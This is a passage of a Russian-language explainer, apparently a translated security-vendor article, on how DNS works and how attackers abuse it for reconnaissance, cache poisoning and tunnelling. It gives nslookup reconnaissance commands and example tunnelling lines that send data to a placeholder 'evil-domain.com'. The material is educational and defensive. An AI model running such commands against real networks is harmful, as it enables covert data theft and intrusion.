    Поэтому, если вы запрашиваете у авторитетного DNS-сервера один из его IP-адресов, ему не нужно спрашивать никого другого. Авторитетный сервер имен является окончательным авторитетом в отношении этих имен и IP-адресов.

Общедоступный DNS и частный DNS

DNS был создан, чтобы люди могли подключаться к службам в Интернете. Чтобы сервер был доступен в общедоступном Интернете, ему нужна общедоступная запись DNS, а его IP-адрес должен быть доступен в Интернете — это означает, что он не заблокирован брандмауэром. Публичные DNS-серверы доступны всем, кто может к ним подключиться, и не требуют аутентификации.

Интересно, что не все записи DNS общедоступны. Сегодня, помимо предоставления сотрудникам возможности использовать DNS для поиска информации в Интернете, организации используют DNS, чтобы их сотрудники могли находить частные внутренние серверы. Когда организация хочет, чтобы имена серверов и IP-адреса оставались закрытыми или недоступными напрямую из Интернета, они не указывают их на общедоступных DNS-серверах.

Вместо этого организации перечисляют их на частных или внутренних DNS-серверах — внутренние DNS-серверы хранят имена и IP-адреса для внутренних файловых серверов, почтовых серверов, контроллеров домена, серверов баз данных, серверов приложений и т. д. — всего важного.

Следует помнить: как и внешние DNS-серверы, внутренние DNS-серверы не требуют аутентификации. Это потому, что DNS был создан давно, когда безопасность не была такой большой проблемой. В большинстве случаев любой, кто находится внутри брандмауэра — путем проникновения или подключения через VPN — может запрашивать внутренние DNS-серверы. Единственное, что мешает кому-то «извне» получить доступ и запросить внутренние DNS-серверы, — это то, что они не могут подключиться к ним напрямую.

  • Общедоступный DNS: Чтобы сервер был доступен в общедоступном Интернете, ему нужна общедоступная запись DNS, а его IP-адрес должен быть доступен в Интернете.
  • Частный DNS : Компьютеры, находящиеся за брандмауэром или во внутренней сети, используют частную запись DNS, чтобы локальные компьютеры могли идентифицировать их по имени. Внешние пользователи в Интернете не будут иметь прямого доступа к этим компьютерам.

7 шагов поиска DNS

Давайте посмотрим, как именно работает DNS-запрос.

  1. Запрос DNS начинается при попытке доступа к компьютеру в Интернете . Например, вы вводите www.varonis.com в адресную строку браузера.
  2. Первой остановкой запроса DNS является локальный кэш DNS. Когда вы получаете доступ к разным компьютерам, эти IP-адреса сохраняются в локальном хранилище. Если вы ранее посещали www.varonis.com, IP-адрес хранится в вашем кеше.
  3. Если у вас нет IP-адреса в локальном кэше DNS, DNS проверит его с помощью рекурсивного DNS-сервера. Ваша ИТ-команда или интернет-провайдер (ISP) обычно предоставляет для этой цели рекурсивный DNS-сервер.
  4. Рекурсивный DNS-сервер имеет свой кеш, и если у него есть IP-адрес, он вернет его вам. Если нет, он попросит другой DNS-сервер.
  5. Следующая остановка — серверы имен TLD, в данном случае сервер имен TLD для адресов .com. У этих серверов нет нужного нам IP-адреса, но он может отправить DNS-запрос в правильном направлении.
  6. У серверов имен TLD есть расположение уполномоченного сервера имен для запрошенного сайта. Полномочный сервер имен отвечает IP-адресом для www.varonis.com, а рекурсивный DNS-сервер сохраняет его в локальном кэше DNS и возвращает адрес на ваш компьютер.
  7. Ваша локальная служба DNS получает IP-адрес и подключается к www.varonis.com, чтобы загрузить весь великолепный контент. Затем DNS записывает IP-адрес в локальный кэш со значением времени жизни (TTL). TTL — это количество времени, в течение которого локальная запись DNS действительна, и по истечении этого времени DNS снова выполнит процесс, когда вы запросите Varonis.com в следующий раз.

Какие типы DNS-запросов существуют?

DNS-запросы — это компьютерный код, который сообщает DNS-серверам, что это за запрос и какую информацию он хочет получить. В стандартном поиске DNS есть три основных DNS-запроса.

  • Рекурсивный запрос: В рекурсивном запросе компьютер запрашивает IP-адрес или подтверждение того, что DNS-сервер не знает этот IP-адрес.
  • Итеративный запрос: Итеративный запрос, который инициатор запроса запрашивает у DNS-сервера лучший ответ, который у него есть. Если у DNS-сервера нет IP-адреса, он вернет полномочный сервер имен или сервер имен TLD. Запрашивающая сторона продолжит этот итеративный процесс, пока не найдет ответ или не истечет время ожидания.
  • Нерекурсивный запрос: Преобразователь DNS будет использовать этот запрос для поиска IP-адреса, которого нет в его кеше. Они ограничены одним запросом, чтобы ограничить использование пропускной способности сети.

Что такое кэш DNS + функции кэширования

Кэш DNS — это хранилище доменных имен и IP-адресов, которые хранятся на компьютере, поэтому ему не нужно каждый раз запрашивать IP-адрес. Представьте себе, что каждый раз, когда какой-либо пользователь пытается зайти на www.varonis.com, DNS должен запрашивать авторитетный сервер имен в Varonis. Трафик будет огромным! Сама мысль о таком большом трафике является причиной того, что у нас есть кэширование DNS. Кэширование DNS преследует две основные цели:

  • Ускорить запросы DNS
  • Уменьшить пропускную способность DNS-запросов через Интернет

Однако методология кэширования DNS имеет некоторые проблемы:

  • Изменения DNS требуют времени для распространения — это означает, что может пройти некоторое время, прежде чем каждый DNS-сервер обновит свой кэш до последних данных IP
  • Кэш DNS — потенциальный вектор атаки для хакеров

В Интернете используется несколько различных типов кэширования DNS:

  • Кэширование DNS в браузере: Текущие браузеры примерно 2018 года имеют встроенную функцию кэширования DNS. Разрешение DNS с помощью локального кеша выполняется быстро и эффективно.
  • Операционная система (ОС) Кэширование DNS: Ваш компьютер является DNS-клиентом, и на вашем компьютере есть служба, которая управляет разрешением и запросами DNS. Этот кеш DNS также является локальным и, следовательно, быстрым и не требует полосы пропускания.
  • Кэширование DNS с рекурсивным разрешением: Каждый рекурсор DNS имеет кэш DNS и хранит любой IP-адрес, который он знает для использования для следующего запроса

Слабые места и уязвимости DNS

Существует три основных уязвимости в DNS, которые злоумышленники часто используют для злоупотребления DNS:

  1. Внутренние DNS-серверы содержат все имена серверов и IP-адреса для своих доменов и будут делиться ими со всеми, кто попросит. Это делает DNS отличным источником информации для злоумышленников, когда они пытаются провести внутреннюю разведку.
  2. Кэши DNS не являются авторитетными, и ими можно манипулировать. Если ваш DNS-сервер «отравлен» плохими записями, компьютеры могут быть обмануты, заставив их перейти в плохие места.
  3. DNS ретранслирует информацию о запросах с внутренних рабочих станций на внешние серверы, и злоумышленники научились использовать это поведение для создания «скрытых каналов» для кражи данных.

Использовать DNS для разведки

Когда злоумышленник находится внутри брандмауэра и получает контроль над компьютером, он может использовать DNS для поиска важных имен серверов. Злоумышленники могут искать имена, связанные с внутренними IP-адресами — почтовые серверы, серверы имен — всевозможные ценные вещи. Если они достаточно сообразительны, они могут даже заставить внутренний DNS-сервер отправлять большое количество информации о зонах своего домена — это называется «атакой передачи зоны DNS».

Если у вас компьютер с Windows, выполните следующие команды как есть; если вы пользователь Linux, вы можете найти соответствующие команды.

  1. Откройте командную строку (наберите Ctrl + esc, буквы «cmd», затем введите).
  2. Тип ipconfig
  3. Вы увидите DNS-домен, в котором находитесь (DNS-суффикс для конкретного подключения), ваш IP-адрес и множество других данных. Вы захотите вернуться к этому.
  4. Введите nslookup [IP-адрес]  Вы увидите имя отвечающего DNS-сервера и, если имя известно, запись DNS, в которой указаны имя и IP-адрес.
  5. nslookup —type=soa [ваш домен] Эта команда возвращает ваш авторитетный DNS-сервер, разве это не удобно, если вы пытаетесь проникнуть в сеть.
  6. nslookup —type=MX [ваш домен] Эта команда возвращает все почтовые серверы в вашем локальном домене на тот случай, если вы хотите взломать почтовые серверы и не знаете, где они находятся.

Использование DNS для перенаправления трафика

Помните, что когда пользователь пытается перейти на веб-сайт, его компьютер запрашивает у своего DNS-сервера IP-адрес сайта или запись DNS. Если DNS-сервер имеет кэшированную копию записи, он отвечает. Если нет, он запрашивает «вышестоящий» DNS-сервер, передает результаты обратно конечному пользователю и кэширует их для следующего раза.

Злоумышленники нашли способ подделать ответы DNS или сделать так, чтобы ответы выглядели так, как будто они исходят от законных DNS-серверов. Не вдаваясь в технические подробности, злоумышленники используют для этого три слабости DNS:

  1. DNS выполняет очень слабую проверку ответов, поступающих от вышестоящих серверов. Ответы просто должны содержать правильный идентификатор транзакции, который представляет собой просто 16-битное число (0-65536). Точно так же, как оказывается, что вам не нужно так много людей в комнате, чтобы шансы на то, что двое из них имеют одинаковый день рождения, оказывается, что угадать правильный идентификатор легче, чем вы думаете.
  2. DNS-серверы принимают одновременные (или почти одновременные) ответы на свои запросы , что позволяет злоумышленникам сделать несколько предположений об идентификаторе транзакции (что мало похоже на атаку методом грубой силы против пароля).
  3. IP-соединения, используемые DNS, легко подделать. Это означает, что злоумышленник может отправить трафик на DNS-сервер с одного компьютера и представить его так, будто он идет с другого компьютера, как с действительного DNS-сервера. Только определенные типы IP-соединений легко подделать — DNS является одним из них.

Если злоумышленник успешно подделывает ответ DNS, он может сделать кеш принимающего DNS-сервера зараженной записью. Как это поможет злоумышленникам?

Вот пример. Допустим, злоумышленник узнает, что ваша организация использует внешнее приложение для чего-то важного, например, для расходов. Если они отравят DNS-сервер вашей организации, чтобы он отправлял каждого пользователя на сервер злоумышленника, все, что им нужно сделать, — это создать легитимно выглядящую страницу входа, и пользователи будут вводить свои учетные данные. Они могут даже ретранслировать трафик на реальный сервер (выступая в роли «человека посередине»), чтобы никто не заметил. Затем злоумышленник может попробовать эти учетные данные в других системах, продать их или просто отпраздновать злобным смехом.

Использовать DNS в качестве скрытого канала

Допустим, злоумышленнику удалось проникнуть внутрь сети (corp.com), скомпрометировать один или два хоста и найти важные данные, которые он хочет эксфильтровать. Как они могут сделать это без срабатывания сигнализации? Злоумышленники используют для этого технику под названием «DNS-туннелирование». Они настраивают DNS-домен (например, evil-domain.com) в Интернете и создают авторитетный сервер имен. Затем на скомпрометированном хосте злоумышленник может использовать программу, которая разбивает данные на небольшие фрагменты и вставляет их в серию запросов, например:0003

  • nslookup My1secret1.evil-domain.com
  • nslookup is1that1I1know.evil-domain.com
  • nsllookup как2steal1data.evil-domain.com

DNS-сервер corp.com получит эти запросы, поймет, что результатов нет в его кеше, и ретранслирует эти запросы обратно на авторитетный сервер имен evil-domain.

Ваш комментарий будет первым

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *